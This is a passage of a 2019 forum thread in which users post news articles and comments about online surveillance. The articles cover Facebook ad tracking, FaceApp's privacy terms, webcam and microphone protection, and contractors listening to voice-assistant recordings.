Although the CBP disagreed, the agency said it would “develop an internal contingency plan” in case airlines and airports decline to help.

A CBP spokesperson told TechCrunch that the agency has made “significant advancements” since the inspector general’s report, and now says the biometric matching averages at 97 percent.

Title: Re: they know what you are doing
Post by: space otter on June 27, 2019, 06:30:36 am

Quote
https://www.msn.com/en-us/news/technology/is-facebook-listening-to-me-why-those-ads-appear-after-you-talk-about-things/ar-AADv9NZ?li=BBnb7Kz

Is Facebook listening to me? Why those ads appear after you talk about things
 Jefferson Graham  1 hr ago

Video by CBS News (at link)


My editor, Michelle, was at a birthday party for her son's friend recently, when the mom mentioned a company she liked called Joymode. Minutes later, an ad for Joymode appeared on Michelle’s Facebook news feed.

When she told me about it, we both wondered whether the urban legend could be true. Does Facebook really listen to our conversations to serve us ads?

"I swear I think you guys are listening." That's how CBS This Morning host Gayle King put it just this week when she spoke with Adam Mosseri who heads up Instagram, which is owned by Facebook.

"Can you help me understand how I can be having a private conversation with someone about something I'm interested in seeing or buying, and an advertisement for that will pop up on my Instagram feed," King asked.  "I haven't searched for it, I haven't talked to anybody about it."

Well, Mosseri and the company deny that persistent perception every which way to Tuesday.

"[W]e don't look at your messages, we don't listen in on your microphone, doing so would be super problematic for a lot of different reasons," Mosseri insisted in the CBS interview.  "But I recognize you're not gonna really believe me."

So why do these ads keep appearing there with regularity, and why are so many people convinced Facebook isn't telling the truth?

“Facebook is eavesdropping on you,” says Jamie Court, the president of Los Angeles-based Consumer Watchdog nonprofit. “It’s just in a different way.”

The truth is, Facebook tracks us in ways many of us don't even realize and is so good at it, we think it's monitoring our conversations. Instead, it uses sophisticated demographic and location data to serve up ads.

“It’s like they’re stalking you,” says Court. “They put all sorts of circumstantial evidence together, and you’re marketed to as if they’re listening to your conversations.”

Google knows: Check your settings if you don't want your every move tracked

How to stop it: Amazon is watching, listening and tracking you

In the case of Michelle's Joymode ad, we asked Facebook point blank to help us decipher how this happened, and it sent us to the "Why you're seeing this ad," feature that's included in the menu of all Facebook ads. (Three dots at the top right of the page.)

The answer was written in marketing speak. Michelle saw the ad because Joymode wanted to reach "people who may be similar to their customers," and people over 18 who live in Los Angeles.

That offers no real clarity on why it showed up when it did.

However, here's our translation, with an assist from Court. Facebook's algorithm figured, since she was with her friend of a similar age and both had children, that Michelle would be equally interested in a brand the mom had liked once it deduced that both were in the same geographic location together – where the friend's Joymode subscription was actively in use.

And if she had posted photos from the party on Instagram, more data clues could have been collected to solidify the interest connection.

“The FB AI engine can determine intent from textual and visual material you provide," notes tech industry veteran Phil Lieberman. "With intent, they can find product and services that you might be interested in. This is all about 'recommender systems' similar to what Amazon offers,  but FB has more information on an ongoing basis to determine what you might be interested in buying.”

Tracking vs. listening
Atlanta-based Facebook user Lily Leiva came up with a similar explanation for the Finnish Baby Box, briefly mentioned at a dinner with a friend. The ad for the $500 maternity box appeared in her News Feed the next day. "I found it so unnerving," she said. "Facebook was trying to predict my behavior."

Her theory was that Facebook pushed the ad to her because she had been with her friend, who had liked the product.

"Facebook says they don't listen to our conversations," she said. "But they don't say they don't track you."

In fact, the social network actually is quite open about the tracking.

Most of us know that every time we like a post, leave a comment and tag a friend, that gives Facebook even more ammunition to serve us ads. Every check-in, every hashtag, every comment is more grist for the mill.

But wait, there's more...
The social network admits that it collects the "content, communications and other information," including photographs and videos, accounts, hashtags and groups we are connected to. It notes what posts, videos and other content we view and even collects our payment information, including credit or debit card number, billing and shipping info.

"There are many other ways for Facebook to target you with ads based on data they've collected and put through algorithms," affirms privacy advocate Paul Bischoff. "Remember that Facebook can track what you do on other websites and apps that use Facebook plugins, login, and widgets.”

Facebook's single sign-on offers another door to your data. If you've used your Facebook account to sign in on a website, to subscribe to an email, make a purchase or snag a coupon, Facebook can collect data of what you do like view a webpage or add a product to an online shopping cart.

Tired of #$%& passwords? Single Sign-on could be savior

The social network tracks us on mobile phones if we give permission, meaning the social network knows where you are, even with the app closed. It leaves "cookie" data on our devices for tracking, "to create personalized products that are unique and relevant to you."

On permissions, Facebook doesn't entice you to allow non-stop tracking even with the app closed. Instead, as it did to this reporter recently, a post on Facebook-owned Instagram was about to go live, when a pop-up window urged him to "Turn on Location Services," to automatically select the city tag.

There are steps we can take to limit Facebook's tracking, but face it – if you're using the Facebook app and interacting with people, Facebook can get most of everything they need. "We may still understand your location using things like check-ins, events, and information about your internet connection," Facebook says in its FAQ on how its Location Settings work.

In fact, Aleksandra Korolova, an assistant professor at the University of Southern California, did a study of Facebook's location tracking and says that even if you opt-out, Facebook will still keep tabs on you.

"Even when we explicitly exercise all location controls," she said, "Facebook still learns the locations we visit and exploits it for ads."

In a widely read Medium post published in December 2018, Korolova noted the downside of being tracked. "The locations that a person visits and lives in reveal a great deal about them," she writes. "Their surreptitious collection and use in ad targeting can pave way to ads that are harmful, target people when they are vulnerable, or enable harassment and discrimination."

The issue of privacy can become particularly acute when there's the presumption or wish for confidentiality – say, during a therapist visit or at an Alcoholics Anonymous meeting.     

What to do? Security expert Will Strafach is launching a new smartphone app, Guardian Firewall, in July, to stop companies from tracking. "The electronic devices you bought and own should not be snitching on you," he says.

The app costs $9.99 monthly, and he says will stop Facebook and others from peering into your data most of the time.

"These companies are stealing data from your pocket, from the phones you paid for," he says. "They are wasting your battery life, and most people don't even realize it's happening."

HOW TO CHANGE PRIVACY SETTINGS ON FACEBOOK

Location tracking
There are steps you can take to dial back Facebook's interest in your activities. Start by refusing access to location data. On Apple iOS devices, go to Settings and open Facebook in the Apps section. Location access has three options: Always, While Using the App and Never.

On Android devices, open the Facebook app, go to Manage Settings, and put location tracking on Never.

Ad tracking
Click the button at the top right to access the Facebook settings, and look for Ads. Here you can fine-tune what information Facebook gives advertisers. Facebook has four categories to mull over: Interests, Advertising and Business, Your Information and Ad Settings.

The sub-categories you'll want to click are "Ads based on data from partners," "Ads based on your activities" and "Ads that include your social actions."

But even if you opt for "Never" on all of them, as Facebook notes, "you'll still see ads, but they won't be as relevant to you." And you'll still see ads for other reasons, such as your age, gender or location, the content in the app or website you're using and your activity in and around Facebook, Instagram and WhatsApp.

Other options? Quit.
Facebook can’t track you if you close your membership and delete the app. Asked if she’s ready to do that, Leiva says, “That’s the dilemma. Where else do I go?”

Facebook declined to offer executives for comment.

Readers: Have questions about privacy? We're here to help. Join the conversation on Twitter, @jeffersongraham.
REALLY ? BWHAHAHAHAHAH

This article originally appeared on USA TODAY: Is Facebook listening to me? Why those ads appear after you talk about things
Title: Re: they know what you are doing
Post by: ArMaP on June 27, 2019, 12:51:37 pm
Many things can be known about a person just by following their actions online, even on just one site like Facebook.

I'm sure they do not listen to me, as my different accounts have different suggestions, the result of my different behaviours on the different accounts. :)
Title: Re: they know what you are doing
Post by: Ellirium113 on June 27, 2019, 01:58:20 pm
Facebook & Google have close ties with NSA & CIA even if they say they aren't tracking you with settings turned off rest assured THEY ARE. It's just an illusion of privacy. These corporations do not care about what the end user wants so long as they turn a profit.

https://www.youtube.com/watch?v=zLWzL43BdnY
Title: Re: they know what you are doing
Post by: The Seeker on June 27, 2019, 02:40:07 pm
The only way to not be tracked is to do this:
1,) NO CELL PHONE
2.)NO INTERNET
3.)NO TELEVISION
4.)NO TELEPHONE

 And to live basically off the grid, no electricity, running water, in other words live in a teepee somewhere way off in the boonies or in a cave, with no address, nothing in your name, and little contact with the rest of the world...

and yes, they can access the mike on your phone even when the phone is turned off (that is why on a lot of the newer phones the battery can't be removed)

I am getting old and stay too busy just trying to make ends meet for them to be interested in a one-armed fat man with bad legs and false teeth  :P

Seeker
Title: Re: they know what you are doing
Post by: micjer on July 01, 2019, 06:37:47 pm
Agreed, and when you buy something use cash or barter for your goods.  Also avoid the surveillance
 cameras everywhere.

https://www.youtube.com/watch?v=LfuF9XWIzCQ
Title: Re: they know what you are doing
Post by: ArMaP on July 01, 2019, 11:47:22 pm
The only way to not be tracked is to do this:
1,) NO CELL PHONE
2.)NO INTERNET
3.)NO TELEVISION
4.)NO TELEPHONE
Like with a radio, you can have a television, as long as it's an old one, not one of those new "smart" televisions, as the old ones are only receivers.
Title: Re: they know what you are doing
Post by: The Seeker on July 02, 2019, 04:58:41 am
Like with a radio, you can have a television, as long as it's an old one, not one of those new "smart" televisions, as the old ones are only receivers.
This is true, but, you still have to have electricity to use it, and most people now have 'smart' meters, unless you are off the grid and generate your own power...

http://seekerssurvivalprep.com/03files/Power_generation01vg.html (http://seekerssurvivalprep.com/03files/Power_generation01vg.html)

which isn't really all that difficult to do, if you are willing to put forth a little money and the effort...
Title: Re: they know what you are doing
Post by: space otter on July 18, 2019, 11:13:17 am


Quote
https://www.washingtonpost.com/technology/2019/07/17/you-downloaded-faceapp-heres-what-youve-just-done-your-privacy/?noredirect=on&utm_term=.6f05c0e5a8e8

Consumer Tech Perspective
You downloaded FaceApp. Here’s what you’ve just done to your privacy.
5 questions we all should have asked before we downloaded the latest viral app that ages your face.
Five things to know before you FaceApp your face
The Post's Geoffrey Fowler has five questions you ought to ask about any app or service, including FaceApp, that wants something as personal as your face. (Jonathan Baran, James Pace-Cornsilk/The Washington Post)

By Geoffrey A. Fowler
Technology columnist
July 17 at 4:55 PM
When an app goes viral, how can you know whether it’s all good fun — or covertly violating your privacy by, say, sending your face to the Russian government?

That’s the burning question about FaceApp, a program that takes photos of people and “ages” them using artificial intelligence. Soon after it shot to the top of the Apple and Google store charts this week, privacy advocates began waving warning flags about the Russian-made app’s vague legalese. Word spread quickly that the app might be a disinformation campaign or secretly downloading your entire photo album. Leaders of the Democratic party warned campaigns to delete the app ‘immediately.’

[Schumer calls for investigation into FaceApp over security concerns and Russia ties]

I got some answers by running my own forensic analysis and talking to the CEO of the company that made the app. But the bigger lesson was how much app-makers and the stores run by Apple and Google leave us flying blind when it comes to privacy.

I raised similar questions a few weeks ago when I ran an experiment to find out what my iPhone did while I slept at night. I found apps sending my personal information to all sorts of tracking companies I’d never heard of.

So what about FaceApp? It was vetted by Apple’s App Store and Google’s Play Store, which even labeled it an “Editors’ Choice.” They both link to its privacy policy — which they know nobody reads.

[I found your data. It’s for sale.]

Looking under the hood of FaceApp with the tools from my iPhone test, I found it sharing information about my phone with Facebook and Google AdMob, which probably help it place ads and check the performance of its ads. The most unsettling part was how much data FaceApp was sending to its own servers, after which … who knows what happens. It’s not just your own face that FaceApp might gobble up — if you age friends or family members, their face gets uploaded, too.

 
FaceApp, which uses artificial intelligence to "age" people, has gone viral. Tech columnist Geoffrey A. Fowler tried it himself — and explored the privacy implications. (Geoffrey Fowler/The Washington Post)
[FaceApp adds decades to your age for fun, but the popular, Russian-owned app raises privacy concerns]

In an email exchange, FaceApp CEO Yaroslav Goncharov tried to clarify some of that.

These five questions are basics we ought to know about any app or service that wants something as personal as our faces.

1. What data do they take?
FaceApp uploads and processes our photos in the cloud, Goncharov said, but the app will “only upload a photo selected by a user for editing.” The rest of your camera roll stays on your phone. You can also use FaceApp without giving it your name or email — and 99 percent of users do just that, he said.

2. How long do they hold on my data?
The app’s terms of service grant it a “perpetual” license to our photos. Goncharov said FaceApp deletes “most” of the photos from its servers after 48 hours.

[Help Desk: Ask our tech columnist a question]

3. What are they doing with my data?
Is FaceApp using our faces and the maps it makes of them for anything other than the express purpose of the app, such as running facial identification on us? “No,” Goncharov said. Legally, though, the app’s terms give it — and whoever might buy it or work with it in the future — the right to do whatever it wants, through an “irrevocable, nonexclusive, royalty-free, worldwide, fully-paid, transferrable sub-licensable license.” (Clear as mud?)

4. Who has access to my data?
Do government authorities in Russia have access to our photos? “No,” Goncharov said. FaceApp’s engineers are based in Russia, so our data is not transferred there. He said the company also doesn’t “sell or share any user data with any third parties” — aside, I pointed out, from what it shares with trackers from Facebook and AdMob. (Another exception: Users in Russia may have their data stored in Russia.)

5. How can I delete my data?
Just deleting the app won’t get rid of the photos FaceApp may have in the cloud. Goncharov said people can put in a request to delete all data from FaceApp’s servers, but the process is convoluted. “For the fastest processing, we recommend sending the requests from the FaceApp mobile app using ‘Settings->Support->Report a bug’ with the word ‘privacy’ in the subject line. We are working on the better UI [user interface] for that,” he said.

Why not post this information to FaceApp’s website, beyond the legalese? “We are planning to make some improvements,” Goncharov said.

Same question for the app stores run by Apple and Google. Those giant companies make money from a cut of upgrades you can purchase in the app. We’re literally paying them to read the privacy policies — and vet that companies such as FaceApp are telling the truth. Why not better help us understand right where we download what’s really going on? Neither company replied with an on-the-record comment.

Much better to help us sort through all of this before millions of us upload our faces somewhere we might regret.

Read more tech advice and analysis from Geoffrey A. Fowler:

Goodbye, Chrome: Google’s Web browser has become spy software

Not all iPhones are the same. These cost less and are better for the Earth.

Rock this way: AirPods, Beats and Bose wireless ear buds take the headbang test

.........................................


https://www.forbes.com/sites/johnkoetsier/2019/07/17/viral-app-faceapp-now-owns-access-to-more-than-150-million-peoples-faces-and-names/#1c4210a62f17

Jul 17, 2019, 12:38pm
Viral App FaceApp Now Owns Access To More Than 150 Million People's Faces And Names
 John Koetsier
John Koetsier Contributor
Consumer Tech
John Koetsier is a journalist, analyst, author, and speaker.
 


Everyone's seen them: friends posting pictures of themselves now, and years in the future.

Viral app FaceApp has been giving people the power to change their facial expressions, looks, and now age for several years. But at the same time, people have been giving FaceApp the power to use their pictures — and names — for any purpose it wishes, for as long as it desires.

Diversity and difference

And we thought we learned a lesson from Cambridge Analytica.

More than 100 million people have downloaded the app from Google Play. And FaceApp is now the top-ranked app on the iOS App Store in 121 countries, according to App Annie.

While according to FaceApp's terms of service people still own their own "user content" (read: face), the company owns a never-ending and irrevocable royalty-free license to do anything they want with it ... in front of whoever they wish:

You grant FaceApp a perpetual, irrevocable, nonexclusive, royalty-free, worldwide, fully-paid, transferable sub-licensable license to use, reproduce, modify, adapt, publish, translate, create derivative works from, distribute, publicly perform and display your User Content and any name, username or likeness provided in connection with your User Content in all media formats and channels now known or later developed, without compensation to you. When you post or otherwise share User Content on or through our Services, you understand that your User Content and any associated information (such as your [username], location or profile photo) will be visible to the public.

FaceApp terms of use

That may not be dangerous and your likeness may stay on Amazon servers in America, as Forbes has determined, but they still own a license to do whatever they want with it. That doesn't mean the app's Russian parent company, Wireless Labs, will offer your face to the FSB, but it does have consequences, as PhoneArena's Peter Kostadinov says:

You might end up on a billboard somewhere in Moscow, but your face will most likely end up training some AI facial-recognition algorithm.

Peter Kostadinov
Whether that matters to you or not is your decision.

But what we have learned in the past few years about viral Facebook apps is that the data they collect is not always used for the purposes that we might assume. And, that the data collected is not always stored securely, safely, privately.

Once something is uploaded to the cloud, you've lost control whether or not you've given away legal license to your content. That's one reason why privacy-sensitive Apple is doing most of its AI work on-device.

And it's a good reason to be wary when any app wants access and a license to your digital content and/or identity.

As former Rackspace manager Rob La Gesse mentioned today:

To make FaceApp actually work, you have to give it permissions to access your photos - ALL of them. But it also gains access to Siri and Search .... Oh, and it has access to refreshing in the background - so even when you are not using it, it is using you.

Rob La Gesse
The app doesn't have to be doing anything nefarious today to make you cautious about giving it that much access to your most personal computing device.

Follow me on Twitter or LinkedIn. Check out my website or some of my other work here.
John Koetsier
John Koetsier
I forecast and analyze trends affecting the mobile ecosystem. I've been a journalist, analyst, and corporate executive, and have chronicled the rise of the mobile econom...  Read More


..................................


https://gizmodo.com/senator-finally-demands-fbi-probe-of-faceboo-er-facea-1836492436

Senator Finally Demands FBI Probe of Faceboo… Er, FaceApp?

Jennings Brown
Today 12:10pmFiled to: DATA PROTECTION

Senate Minority Leader Chuck Schumer has officially joined the chorus of people concerned about what FaceApp is really up to.

The app has been offering creepy selfie-altering filters for two and a half years. It’s gone viral before, mostly when the public catches light of its offensive features—like the “ethnicity change” filter and a skin-lightening “hotness” filter. But the app gained a lot of attention and downloads in recent days because of the popularity of its “aging” filter.

Soon after people started sharing their graying, wrinkled faces on social media in droves, the warning posts began, highlighting that the company is based in Russia and has a concerning privacy policy that gives the company license to use customers’ name, photos, and likeness.


Bob Cesca

@bobcesca_go
 That Faceapp face-aging thing?

-Requires your Facebook login
-receives your name, profile picture, photos and email address via FB
-The company’s privacy policy ambiguously states how it can share data with its “Affiliates”
-The company is based in St. Petersburg, Russia 1/3

11K
11:48 AM - Jul 17, 2019



Yashar Ali 🐘

@yashar
 Btw you all know FaceApp is a Russian company, right?

Just making sure.

16.6K
10:04 PM - Jul 16, 2019


As Motherboard pointed out, the privacy policy is no worse than many other popular apps that use image data. But the real concern seems to be coming from the Russia ties, stemming from a growing awareness of the ways that Russia interferes with the fabric of our democracy and society through cyberattacks and misinformation. But it also reveals some xenophobia since apps from American companies with dubious moral standings and invasive policies don’t seem to stir such a public pearl-clutching.

But it was just the kind of outcry that tends to stir lawmakers to action.


Chuck Schumer

@SenSchumer
 BIG: Share if you used #FaceApp:

The @FBI & @FTC must look into the national security & privacy risks now

Because millions of Americans have used it

It’s owned by a Russia-based company

And users are required to provide full, irrevocable access to their personal photos & data

Page 1 of Senator Schumer's letter to the FBI and FTC.Page 2 of Senator Schumer's letter to the FBI and FTC.


On Wednesday night, Schumer called upon the Federal Trade Commission and the Federal Bureau of Investigation to “look into” FaceApp’s data-gathering practices. In a letter to sent to FTC Chairman Joseph Simons and FBI Director Christopher Wray, Schumer explained that by using the app, users give the company “full and irrevocable access to their personal photos and data” and give the company license to use their content, then lays out his concerns:

Furthermore, it is unclear how long FaceApp retains a user’s data or how a user may ensure their data is deleted after usage. These forms of “dark patterns,” which manifest in opaque disclosures and broader user authorizations, can be misleading to consumers and may even constitute a deceptive trade practices. Thus, I have serious concerns regarding both the protection of the data that is being aggregated as well as whether users are aware of who may have access to it.

In particular, FaceApp’s location in Russia raises questions regarding how and when the company provides access to the data of U.S. citizens to third parties, including potentially foreign governments.

Schumer asked the FBI to assess privacy and national security concerns of the app and asked the FTC to check what safeguards are in place to protect Americans’ privacy.

The senator is not the only person worried that the app could be a national security threat. CNN reported on Wednesday night the Democratic National Committee sent a warning to Democratic presidential campaigns not to use the app. The notice, written by the DNC’s chief security officer, Bob Lord, offers a brief description of the app, before warning dramatically: “Unfortunately, this novelty is not without risk: FaceApp was developed by Russians.”

Article preview thumbnail
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Title: Re: they know what you are doing
Post by: space otter on July 23, 2019, 06:09:54 am

Quote
https://www.msn.com/en-us/news/technology/how-to-protect-yourself-from-camera-and-microphone-hacking/ar-AAEpZO6?li=BBnb7Kz

Consumer Reports
How to Protect Yourself From Camera and Microphone Hacking
 Thomas Germain  6 days ago

Consumer Reports has no financial relationship with advertisers on this site.

Last week was unsettling for Mac users worried that someone could hijack the cameras and microphones built into their phones and laptops.

On Thursday, Apple disabled the Walkie Talkie audio chat feature in its smartwatches to fix a vulnerability that would allow someone to listen in on consumers without their consent, according to a report in TechCrunch.

Just a few days earlier, a security researcher revealed a similar flaw in the videoconferencing app Zoom that could be exploited to trick Mac users into opening a video call, even if they had uninstalled Zoom in the past. Both Apple and Zoom have issued updates to address the problem.
falling victim to either of these vulnerabilities, and security flaws with connected cameras and microphones are nothing new. Still, the news adds fuel to one of consumers’ top fears over digital privacy.

Forty-three percent of Americans who own smartphones believe their device is recording what they say when they haven’t asked it to, according to a nationally representative survey of more than 1,000 adults conducted by Consumer Reports in May.

While targeted advertising works so well that it can seem like tech companies must be illicitly recording your conversations, privacy and security experts say that isn’t actually happening—marketers have other, very effective ways to learn what people may be interested in.

On the other hand, there is a real, if remote, risk that hackers could take control of your devices’ cameras and microphones, security experts say.

“These are the risks we accept with these smart devices,” says Patrick Jackson, chief technology officer at Disconnect, a cybersecurity firm that has partnered with CR on investigations. “They have a lot of sensors, and you’re not always aware of whether they’re on or off.” However, Jackson says, there are a few easy steps you can take to protect yourself, no matter which brand of computer or smartphone you use.

Skip Dedicated Video and Audio Chat Apps
“Every time you install a new app on your device, you’re adding another back door into your system, with more potential software vulnerabilities that hackers can try to exploit,” says Cody Feng, project leader for security and privacy testing at Consumer Reports. “In digital security, we call this your ‘attack surface.’ Reducing that surface is always a good idea.”

Most apps like Google Hangout, Skype, and Zoom give you the option to make and receive calls by logging in to their site on your web browser without downloading any special software. Using your browser instead of downloading an app is an easy way to stay a little safer.

A web browser isn’t inherently more secure, but the fewer apps on your machine with access to your camera and microphone, the fewer opportunities hackers will have to break in and spy on you.

“For some people, there will be chat apps you can’t avoid because they have features that aren’t available in the browser version of the service,” Feng says. “And you may not have the option to remove apps that come preinstalled on your device, like the Apple Watch’s Walkie Talkie feature. That’s okay. Just take the steps that make sense for your situation. Any extra effort will leave you better protected.”

Check Your Device Permissions
All sorts of apps can request permission to access the camera, microphone, and other features, such as location information, on your phone or computer. Using the steps below, it’s easy to see which apps have requested permission, and revoke permissions that you’ve granted in the past.

“Make sure you understand all the apps that have permissions for video and microphone access,” Disconnect’s Jackson says.

Jackson recommends turning off any permissions that aren’t important for your day-to-day life. That way, even if an app is compromised, the attacker won’t be able to make a direct connection to your camera or microphone without implementing some additional hack.

On an Android phone: Go to the phone’s Settings > Apps (or Apps & Notifications) > Advanced > App permissions > Camera > Tap the toggle next to an app to revoke permission. Then go back and do the same under the “Microphone” menu. (These instructions may vary slightly depending on which phone you have.)

On an iPhone: Go to the phone’s Settings > Privacy > Camera > Tap the toggle next to an app to revoke permission. Then go back and do the same under the “Microphone” menu.

On a Mac: Go to the computer’s Settings > Security & Privacy > Privacy > Camera > Uncheck the box next to an app to revoke permission. Then go back and do the same under the “Microphone” menu.

On a PC: Go to the computer’s Settings > Privacy > Camera > Turn off Camera access altogether, or use the toggles next to individual apps to adjust permissions. Then go back and do the same under the “Microphone” menu.

Update Your Software and Firmware
Updating software and firmware is critical to staying on top of your digital security. Sometimes, as with the Apple Watch’s Walkie Talkie problem, manufacturers will roll out updates automatically to help keep consumers safe when serious flaws are identified.

In other cases, as with the Zoom app, you may need to take additional steps to ensure you’re protected. According to Zoom, consumers who use the app can head to the site’s Download Center to check for updates. Alternatively, open the app, click “zoom.us” in the top left corner screen, and select “Check for Updates.”

“Don’t wait until you hear about a problem to look for updates, and install security updates immediately,” Feng says. Turn on automatic updates, or check for updates frequently.

The Tape Method
There’s a famous picture of Mark Zuckerberg with a laptop in the background that has a piece of tape covering the camera. Doing the same with your computer is one shortcut to peace of mind. If tape looks too messy for you, you can buy stickers just for this purpose that are designed to be easily moved and replaced.

“That physical barrier is a great solution for video, but it won’t work quite as well for your microphone,” Jackson says. In fact, he says, built-in microphones are often designed to keep working even if they’re obstructed, so you don’t accidentally silence a call with a misplaced finger. “With a phone or laptop mic, you often just have to rely on software to protect you,” Jackson says.

However, you could try what’s called a “microphone blocker,” essentially a dummy plug with nothing on the other side of it that you insert into your device’s headphone or microphone jack. When working as intended, a blocker tricks a device into thinking a microphone is plugged in and switching over from the built-in microphone, so a hacker wouldn’t get a signal if they breached your system.

“That may not work on every device,” Jackson says, but microphone blockers are usually cheap, so if you’re really concerned about hacked mics, it may be worth a shot.

Consumer Reports is an independent, nonprofit organization that works side by side with consumers to create a fairer, safer, and healthier world. CR does not endorse products or services, and does not accept advertising. Copyright © 2019, Consumer Reports, Inc.
There haven’t been any reports of consumers
Title: Re: they know what you are doing
Post by: Ellirium113 on July 27, 2019, 07:43:55 am
Siri ‘regularly’ records sex encounters, sends ‘countless’ private moments to Apple contractors

Quote
Apple’s Siri AI assistant sends audio of sexual encounters, embarrassing medical information, drug deals, and other private moments recorded without users’ knowledge to human ‘graders’ for evaluation, a whistleblower has revealed.
Recordings from Apple’s Siri voice assistant are fed to human contractors around the world, who grade the AI based on the quality of its response and whether its activation was deliberate, according to an anonymous contractor who spoke to the Guardian. They claimed accidental activations are much more frequent than Apple lets on, especially with Apple Watch users – and wants the company to own up to the problem.
“There have been countless instances of recordings featuring private discussions between doctors and patients, business deals, seemingly criminal dealings, sexual encounters and so on. These recordings are accompanied by user data showing location, contact details, and app data,” the whistleblower revealed.

“Apple is subcontracting out, there’s a high turnover. It’s not like people are being encouraged to have consideration for people’s privacy, or even consider it,” the whistleblower said, explaining that they are concerned these recordings, produced when Siri thinks it hears its “wake word,” could be used against the people who (accidentally) made them – especially given the “broad” amount of user data they claim contractors are “free to look through.” In what sounds like a sick joke on the part of some programmer, the sound of a zipper unzipping often triggers Siri to wake up.

While Apple emphasized that a user’s Apple ID and name are not attached to clips reviewed by contractors, it also took pains to explain that recordings are “analyzed in secure facilities and all reviewers are under the obligation to adhere to Apple’s strict confidentiality requirements” – suggesting the company is aware of how easily even a recording stripped of its user ID can be connected to the user who made it.

Siri isn’t the only voice assistant that transmits users’ private moments back to the mothership, of course – Amazon’s Alexa infamously has entire chat rooms for its human trainers to discuss difficult-to-understand audio clips (or mock funny recordings) and Google Home uses a similar system of outsourced “language experts” that allows the company to claim that no one at Google has access to the recordings its devices make.

https://www.rt.com/news/465181-apple-siri-human-contractors/ (https://www.rt.com/news/465181-apple-siri-human-contractors/)
Title: Re: they know what you are doing
Post by: ArMaP on July 27, 2019, 08:18:27 am
Quote
While Apple emphasized that a user’s Apple ID and name are not attached to clips reviewed by contractors, it also took pains to explain that recordings are “analyzed in secure facilities and all reviewers are under the obligation to adhere to Apple’s strict confidentiality requirements” – suggesting the company is aware of how easily even a recording stripped of its user ID can be connected to the user who made it.
That is clearly against the GDPR, so they are on a position that could lead them to paying huge fines, like what happened to British Airways.
Title: Re: they know what you are doing
Post by: Ellirium113 on July 30, 2019, 04:40:14 pm
ALEXA, STOP BEING A PERV Outrage as Amazon’s Alexa listens to Brits having sex, rowing, swearing and sharing medical news

Quote
The Sun discovered an English-speaking Amazon team in Bucharest, Romania, monitors thousands of Alexa recordings — and has heard private moments including family rows, money and health discussions — and couples having sex.

A 28-year-old female former analyst there said: “It’s been said that couples having sex and even what sounded like a sex attack have been heard by staff.
“There were times when I heard couples arguing at home and another when kids were trying to teach Alexa to swear.
WHAT AMAZON STAFF KNOW ABOUT YOU
“We were told to focus on Alexa commands but it was impossible not to hear other things going on.”

https://www.thesun.co.uk/tech/9611689/outrage-as-amazons-alexa-listens-to-brits-having-sex-rowing-swearing-and-sharing-medical-news/ (https://www.thesun.co.uk/tech/9611689/outrage-as-amazons-alexa-listens-to-brits-having-sex-rowing-swearing-and-sharing-medical-news/)
Title: Re: they know what you are doing
Post by: micjer on July 31, 2019, 09:52:38 am
Crazy...

Funny thing is the majority of people would probably not sign up to get micro chipped so that they could be tracked or controlled, yet the same people voluntarily buy "smart" devices that can listen in to their conversations. or buy cell phones that can be followed by gps, or buy tv's that can watch you, or buy computers that watch and listen.

All of this information can be linked to a super computer and if A I takes over, the movie Matrix would look like total reality.
Title: Re: they know what you are doing
Post by: The Seeker on July 31, 2019, 11:49:44 am
Crazy...

Funny thing is the majority of people would probably not sign up to get micro chipped so that they could be tracked or controlled, yet the same people voluntarily buy "smart" devices that can listen in to their conversations. or buy cell phones that can be followed by gps, or buy tv's that can watch you, or buy computers that watch and listen.

All of this information can be linked to a super computer and if A I takes over, the movie Matrix would look like total reality.
Not really worried so much about The Matrix coming into being, Skynet becoming active and aware is more centered in my radar

https://youtu.be/UaeNI97PeQs

 8)

Seeker
Title: Re: they know what you are doing
Post by: Ellirium113 on August 08, 2019, 02:51:49 pm
Microsoft becomes the latest tech firm to come under fire for eavesdropping as report reveals contractors LISTEN to some Skype calls translated by its AI

Quote
Motherboard, which was supplied with documents, internal reports, and actual audio snippets, reports that the conversations include discussions between couples regarding relationship problems, weight loss, and what contractors described as 'phone sex.'

The documents also show that contractors for Microsoft are analyzing voice-commands given to the company's virtual assistant, Cortana, through which the program has picked up porn queries.
Most snippets reportedly last between 5 and 10 seconds but some may extend beyond that according to the source.
A whistleblower who provided Motherboard the information said he was concerned with how seriously the data collected by the company was being safeguarded.

https://www.dailymail.co.uk/sciencetech/article-7333189/Microsoft-fire-eavesdropping-report-reveals-contractors-listen-Skype-calls.html (https://www.dailymail.co.uk/sciencetech/article-7333189/Microsoft-fire-eavesdropping-report-reveals-contractors-listen-Skype-calls.html)
Title: Re: they know what you are doing
Post by: space otter on August 11, 2019, 07:03:31 am

everybody wants your info..



Quote
https://www.bbc.com/news/technology-49277889

Instagram removes ad company after 'data grab'
8 August 2019

Hyp3r said it complied with privacy regulations and the terms of service for the social networks it targeted
Instagram has removed US marketing company Hyp3r from its service after it was accused of grabbing users' data.

Hyp3r was scraping profiles, copying photos and siphoning off data supposed to be deleted after 24 hours, according to a Business Insider investigation.

Instagram said Hyp3r had "violated" its policies and had been sent legal papers telling it to stop collecting data.

Hyp3r said it complied with privacy regulations and the terms of service for the social networks it targeted.

Business Insider said Instagram's owner, Facebook, should have been more diligent about preventing data grabbing in the wake of the Cambridge Analytica scandal.

Trusted partner
The investigation claimed Hyp3r had been "stitching" together data from one million Instagram posts a month, including Instagram Stories that were supposed to be deleted quickly, to build up profiles of millions of users.

And via these methods it had created detailed personal records that included photos, biographical data and information on users about where they lived, worked and travelled as well as what they were interested in.

In response to the investigation, Instagram said it had "removed" the company from its platform and rescinded its "Facebook Marketing Partner" status.

It said: "Hyper's actions were not sanctioned and violate our policies.

"We've also made a product change that should help prevent other companies from scraping public location pages in this way."

It emphasised the data Hyp3r grabbed was all public information.

Hyp3r boss Carlos Garcia also told Business Insider: "We do not view any content or information that cannot be accessed publicly by everyone online."

And he was confident Hyp3r could quickly resolve any issues with Instagram.

The BBC has contacted Hyp3r but the company has not yet responded to a request for comment.
Title: Re: they know what you are doing
Post by: space otter on September 11, 2019, 06:29:09 am

are you seeing this at the end of articles on line  ?
it's one of the reasons our info gets tracted and sold

i was doing a search for gutter covers without clicking on any links to anywhere and now when i  get on line i have at least five ads about it as i go thru articles....really pisses me off


Quote
Microsoft may earn an Affiliate Commission if you purchase something through recommended links in this article.
Title: Re: they know what you are doing
Post by: Ellirium113 on September 11, 2019, 05:54:44 pm
In this day and age it appears that no matter what your doing there should never be any expectation of 100% privacy so long as electronics are around.  >:(

Google’s newest smart home device is always listening…and WATCHING

Quote
